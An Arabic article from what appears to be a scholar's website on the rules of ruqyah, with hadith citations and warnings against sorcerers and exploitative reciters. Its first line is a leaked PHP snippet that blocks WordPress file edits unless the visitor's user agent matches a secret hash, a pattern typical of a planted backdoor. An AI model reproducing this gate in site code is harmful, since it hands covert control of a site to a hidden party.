if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } الرقية الشرعية وضوابطها - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

الرقية الشرعية وضوابطها

والرقية الشرعية ثابتة من النبي صلى الله عليه وسلم حيث رقى ورُقي، وقال فيما صح عنه عند الإمام مسلم: «مَنِ استطاع منكم أنْ ينفعَ أخاهُ فَلْيَنْفَعْهُ»[1] لكنها لا بد أن تكون بآيات الله تعالى والأدعية الواردة عن النبي صلى الله عليه وسلم وأن تكون بلسان واضح بين، لا طلاسم فيه ولا شعوذة ولا تمتمة وإنما يذكر الراقي ويُسمع المرقي ما يقوله ويختار ما ورد في الكتب والسنة ومن أعظم آيات الرقية سورة الفاتحة، ولهذا في حديث أبي سعيد رضي الله عنه المشهور، لما كان في سفرٍ مع أصحابه ومروا بقومٍ فاستضافوهم فلم يضيفوهم، فجلس الصحابة في ناحية ثم لُدغ سيد الحي، فجاؤوا للصحابة وقالوا: قد لُدغ سيدنا، هل معكم من راقٍ؟ احتاجوا الصحابة وعلموا أن هؤلاء فيهم خيرٌ ودينٌ وقرآن، فقال الصحابة: استضفناكم ولم تضيفونا، لا نقرأ عليكم إلا بجعل، فجعلوا لهم قطيعًا من غنم، فقام أبو سعيد وقرأ عليه سورة الفاتحة ولم يزد عليها فقام اللديغ كأنما نشط من عقال واستاقوا هذا القطيع ووقع في قلوبهم إشكال، هل يحل لهم أخذ هذا القطيع من الغنم؟ وهل هذا من التأكل بكلام الله؟ فلما رجعوا لرسول الله صلى الله عليه وسلم وسألوه، قال: اضربوا لي بسهم، أقرهم على أخذ ذلك، إذن نقول: هذه الرقية الشرعية ثبتت عن أبي سعيد وأقره النبي صلى الله عليه وسلم وقال له: وما يدريك أنها رقية[2]، والعجيب المدهش -وقد سبقت الإشارة- أن الناس استعاضت من هذه السورة العظيمة التي هي فاتحة الكتاب والتي هي جماع كل ما في هذا الكتاب العزيز وجماع ما فيها {إِيَّاكَ نَعْبُدُ وَإِيَّاكَ نَسْتَعِينُ} وصاروا يقرأون البقرة ويكررونها في بيوتهم يوميًا، وربما بعضهم في الليل والنهار، وإذا فتر من القراءة شغلها في المسجل مع أن هذا لم يرد، لم يرد في السنة أنها رقية وأنها تُقرأ كل يوم أو كل ليلة، وإنما ورد آية الكرسي وخواتيمها {آمَنَ الرَّسُولُ} وكذلك الفاتحة والمعوذتين والإخلاص.

كذلك يُشترط في هذا الراقي أن يكون صحيح المعتقد، سليمًا من الشعوذة والاستعانة بالجن والشياطين وأن يكون قصده نفع عباد الله ورقيتهم بما أنزل الله فيؤجر على ذلك، إن أخذ أجرًا فلا حرج ولكن لا يبالغ في ذلك ويغالي ويُشاد، بل ينبغي أن يبذل الرقية احتسابًا للأجر عند الله وإن كان ولا بد فليأخذ شيئًا يسيرًا لا يجحف بعباد الله ولا يستغل ضعف المساكين المحاويج بل كان ينبغي لمثل هذا وأمثاله إن كان معه فضل مال أن يعطي لا سيما الفقراء المحاويج، يعطيهم مع قراءته عليهم لكن إن لم يعطهم فلا أقل من أنه يقرأ عليهم كلام الله ولا يأخذ على ذلك أجرًا، وأحسن من يقرأ على الإنسان نفسه وأهله، فيقرأ الرجل على أهل بيته من زوجة وأولاد، والزوجة تقرأ على زوجها إن احتاج وكذلك تقرأ على أولادها، وربما لو انتشر علم الرقية لم يزدحم الناس على الرقاة إذ الكلام في الرقية يطول، لكنا نقول: من كان موقنًا بأن الله تعالى لا يُخيب من رجاه ولا يرد من دعاه، تعلق قلبه بهذا الكتاب العزيز وقرأ وهو موقنٌ انتفع هو بالأجر والثواب وانتفع المرقي بالشفاء، كذلك بالدعاء بالأدعية الواردة، قد جاء في السنة أحاديث كثيرة مثل ما ذكر هنا من رقية جبريل عليه السلام للنبي صلى الله عليه وسلم ، ومثل قول: أعيذك بكلمات الله التامة من كل شيطان وهامة ومن كل عينٍ لامة[3]، وقول: أعوذ بكلمات الله التامات من شر ما خلق[4]، وقول: بسم الله الذي لا يضر مع اسمه شيءٌ في الأرض ولا في السماء وهو السميع العليم[5]، وقول: أسأل الله العظيم رب العرش العظيم أن يشفيك سبع مرات[6]، وقول: أعوذ بعزة الله وقدرته من شر ما تجد وتُحاذر سبع مرات[7]، وقول: اللهم أشفه، اللهم أشفه، اللهم أشفه ثلاثًا، وقد رقى النبي صلى الله عليه وسلم سعدًا ولم يزد على قوله: اللهم اشف سعدًا، اللهم اشف سعدًا، اللهم اشف سعدًا[8]، إذن يقرأ المريض على نفسه ويقرأ عليه أهله، وإذا احتاج راقيًا شرعيًا فليتقِ الله في اختياره وليحذر من المشعوذين أو الذين يُشك فيهم ذلك من أصحاب الطلاسم أو قراءة ما في الكف أو الإخبار بما عند هذا الإنسان وذكر معلومات غيبية لا يعلمها إلا الله، فمعنى ذلك أنه يستعين بالجان أو بالقرين ويتظاهر بأن عنده علمًا ليس عند غيره وربما صدقه بعض الناس، وقد قال صلى الله عليه وسلم: « من أتى كاهنًا فسأله لاحظ: فسأله فقط– لم تقبل له صلاة أربعين يومًا يعني يصلي ولا يؤمر بالإعادة لكن لا يُثاب عليها– وإن أتى كاهنًا فسأله فصدقه فقد كفر بما أُنزل على محمد»[9]، واليوم الرقاة بحمد الله موجودون، منهم المحتسبون ومنهم من يأخذون مالًا لكن ليس عندهم شيء من الشعوذة ولا الخلوة بالنساء ولا مس النساء فهؤلاء أيضًا يؤجرون، وآخرون مخلطون ربما كان عندهم شيء العبث والخلل في أمور العقيدة والتعلق بالجان وسؤال الجان والاستعانة بالجان، وربما كان عندهم أيضًا شيء من الطمع حتى بلغ بعضهم أن يرقي في جلسة واحدة بخمسة آلاف لكل مريض وهذا لا شك أنه من الجشع والطمع، وهذا أجدر ألا يُنتفع برقيته، ومنهم أيضًا من يتساهل بالخلوة بالنساء وربما مس النساء، فالحذر الحذر ممن خالف الشرع في الرقية وأما من كان يُحسن فإنه على أجر عظيم ويكفيه قول النبي صلى الله عليه وسلم: «مَنِ استطاع منكم أنْ ينفعَ أخاهُ فَلْيَنْفَعْهُ»[10].

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه مسلم (2199).

[2] أخرجه البخاري (2276)، ومسلم (2201)، وأبو داود (3418)، والترمذي (2063)، والنسائي في السنن الكبرى (10868)، وابن ماجه (2156) بنحوه، وأحمد (11472) عن أبي سعيد الخدري رَضِيَ اللهُ عَنْهُ قال: «بعَثَ رسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ بَعثًا، فكُنتُ فيهم، فأَتَيْنا على قَريَةٍ، فاسْتَطعَمْنا أهْلَها، فأبَوْا أنْ يُطعِمونا شَيْئًا، فجاءَنا رَجُلٌ من أهْلِ القَريَةِ، فقاليا مَعشَرَ العَرَبِ، فيكم رَجُلٌ يَرْقي؟ فقال أبو سَعيدٍ: قُلتُوما ذاك؟ قال: مَلِكُ القَريَةِ يَموتُ. قال: فانطَلَقْنا معه فرَقَيْتُه بفاتحةِ الكِتابِ، فرَدَّدتُها عليه مِرارًا، فعُوفيَ، فبَعَثَ إلينا بطَعامٍ، وبغَنَمٍ تُساقُ، فقال أصْحابي: لم يَعهَدْ إلينا النَّبيُّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ في هذا بشَيءٍ، لا نَأخُذُ منه شَيْئًا حتى نَأْتيَ النَّبيَّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ، فسُقْنا الغَنَمَ حتَّى أَتَيْنا النَّبيَّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ، فحَدَّثْناهُ، فقال: كُلْ وأَطعِمْنا معك، وما يُدريكَ أنَّها رُقْيةٌ؟ قال: قُلتُ: أُلْقيَ في رُوعي».

[3] أخرجه البخاري (3371)عن عبدالله بن عباس رَضِيَ اللهُ عَنْهُمَا قال: «كانَ النبيُّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ يُعَوِّذُ الحَسَنَ والحُسَيْنَ، ويقولُ: إنَّ أَبَاكُما كانَ يُعَوِّذُ بهَا إسْمَاعِيلَ وإسْحَاقَ: أَعُوذُ بكَلِمَاتِ اللهِ التَّامَّةِ، مِن كُلِّ شيطَانٍ وهَامَّةٍ، ومِنْ كُلِّ عَيْنٍ لَامَّةٍ».

[4] أخرجه مسلم (2708) عن خولة بنت حكيم رَضِيَ اللهُ عَنْهَا عن النبي صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ أنه قال: «إِذَا نَزَلَ أَحَدُكُمْ مَنْزِلًا، فَلْيَقُلْ: أَعُوذُ بكَلِمَاتِ اللهِ التَّامَّاتِ مِن شَرِّ ما خَلَقَ، فإنَّه لا يَضُرُّهُ شيءٌ حتَّى يَرْتَحِلَ منه».

[5] أخرجه أبو داود (5088)، والترمذي (3388)، والنسائي في السنن الكبرى (9843)، وابن ماجه (3869)، وأحمد (446) عن عثمان بن عفان رَضِيَ اللهُ عَنْهُ بلفظ: «من قالَ :بسمِ اللهِ الَّذي لا يضرُّ معَ اسمِهِ شيءٌ في الأرضِ ولا في السَّماءِ وَهوَ السَّميعُ العليمُ، لم يضُرَّهُ شيءٌ»، والحديث صححه أحمد شاكر في تخريج المسند (1/221)، وحسن إسناده شعيب الأرناؤوط في تخريج المسند (446).

[6] أخرجه أبو داود (3106) باختلاف يسير، والترمذي (2083)، والنسائي في السنن الكبرى (10887)، وأحمد (2137) بلفظ: «ما من عبدٍ مسلمٍ يعودُ مريضًا لم يحضُرْ أجلُه فيقولُ سبعَ مراتٍ: أسألُ اللهَ العظيمَ ربَّ العرشِ العظيمِ أن يشفيَك إلَّا عوفيَ»، والحديث صححه الألباني في صحيح الترمذي (2083).

[7] أخرجه الألباني في صحيح ابن ماجة (2855) عن عثمان بن أبي العاص الثقفي رَضِيَ اللهُ عَنْهُ قال: «قَدِمْتُ على النَّبيِّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ، وبي وجَعٌ، قد كادَ يُبطِلُني، فقالَ لي النَّبيُّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ: اجعل يدَكَ اليُمنى عليهِ، وقُلْ بسمِ اللهِ أعوذُ بعزَّةِ اللهِ، وقدرتِهِ من شرِّ ما أجدُ، وأحاذرُ، سبعَ مرَّاتٍ، فقلتُ ذلِكَ، فَشفانيَ اللهُ».

[8]أخرجه مسلم (1628) عن سعد بن أبي وقاص رَضِيَ اللهُ عَنْهُ «أنَّ النبيَّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ دَخَلَ علَى سَعْدٍ يَعُودُهُ بمَكَّةَ، فَبَكَى، قالَ: ما يُبْكِيكَ؟ فَقالَ: قدْ خَشِيتُ أَنْ أَمُوتَ بالأرْضِ الَّتي هَاجَرْتُ منها، كما مَاتَ سَعْدُ بنُ خَوْلَةَ، فَقالَ النبيُّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ: اللَّهُمَّ اشْفِ سَعْدًا، اللَّهُمَّ اشْفِ سَعْدًا ثَلَاثَ مِرَارٍ …».

[9] أخرجه ابن حبان في المجروحين (1/340)، والطبراني في المعجم الأوسط (6670)، وأخرجه الألباني في السلسلة الضعيفة (6523) عن أنس بن مالك رَضِيَ اللهُ عَنْهُ بلفظ: «من أَتَى كاهنًا فصدَّقهُ بما يقولُ، فقد بَرِئَ ممَّا أُنزلَ على محمدٍ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ ومن أتاهُ غيرَ مصدقٍ لهُ، فلم تُقبلْ له صلاةٌ أربعينَ يومًا» وقال عنه أنه منكر للفقرة الثانية.

[10] أخرجه مسلم (2199).